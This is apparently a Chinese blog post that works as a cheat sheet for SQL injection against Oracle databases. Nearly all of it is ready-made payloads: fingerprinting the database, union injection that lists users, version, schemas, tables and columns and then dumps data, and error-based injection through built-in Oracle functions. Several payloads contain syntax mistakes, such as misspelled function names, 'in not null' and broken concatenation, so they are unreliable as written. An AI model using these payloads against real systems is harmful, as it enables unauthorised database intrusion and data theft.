Oracle数据库注入

oracle数据库权限分为2类

  注释符:--

  dba拥有全部权限,数据库最高权限,只有dba才可以创建数据库结构

  oracle数据库自带的dual表,只有一行一列,每个用户都可以使用

  dual表可能被删掉,sys可以恢复

判断是否为oracle数据库

  利用dual表:and exists(select * from dual)

  利用user_tables:and (select count(*) from user_tables)>0 --

联合注入

  order by n --

  强类型,字符类型需要对上,这里可以使用null代替无法猜测的数据类型位置如下:

  union select null,null,null from dual 获取回显点后修改相对应的null判断有效回显位

  获取当前数据库的用户

union select null,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),null from dual --

  获取数据库版本信息

  union select null,(select banner from sys.v_$version where rownum=1),null from dual --

 

  获取第一个库名:

  union select null,(select owner from all_tables where rownum=1),null from dual -- 

  获取第二个数据库名:以此类推

union select null,(select owner from all_tables where rownum=1 and owner<>'第一个数据库'),null from dual --

  获取第三个数据库名:以此类推

union select null,(select owner from all_tables where rownum=1 and owner<>'第一个数据库' and owner<>'第二个数据库'),null from dual -

  

  获取当前数据库的第一个表名:

  union select null,(select table_name from all_tables where rownum=1),null from dual --

  获取当前数据库的第二个表名:以此类推

union select null,(select table_name from all_tables where rownum=1 and table_name <>'第一个表名'),null from dual --

 

  获取当前数据库demo表的第一个字段名

union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual --

  获取当前数据库demo表的第二个字段名

union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name <>'第一个字段'),null from dual --

   

  读取数据:字段名需要用双引号括起来!!

  union select null,"字段名"||-||"字段名", from 表名 --

 

报错注入

  dbms_xdb_version.checkin()函数:获取当前用户名

  and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

  dbms_xdb_versionuncheckout()函数

  dbms_xdb_versionuncheckout(select dbms_xdb_version.checkin((select user from dual)) from dual) is not null

  utl_inaddr.get_host_name()函数 8g,9g,10g,版本中不需要任何权限,11g及以后的版本需要网络访问权限

  and utl.inaddr.get_host_name((select user from dual))=1--

  

其他报错函数

  dbms_xdb_version.makeversioned()

  and (select dbms_xdb_version.makeversioned((select user from dual))from dual is not null)--

  dbms_utility.sqlid_to_sqlhash()

  and (select dbms_utility.sqlid_to_sqlhash(select user from dual))from dual in not null --

  ordsys.ord_dicom.getmappingxpath()

  and ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)=1 --

  ctxsys.drithsx.sn()

  and ctxsys.drithsx.sn(1,(select user from dual))=1 --

 

posted @ 2021-09-11 16:42  PatrickStar88888888  阅读(237)  评论(0编辑  收藏  举报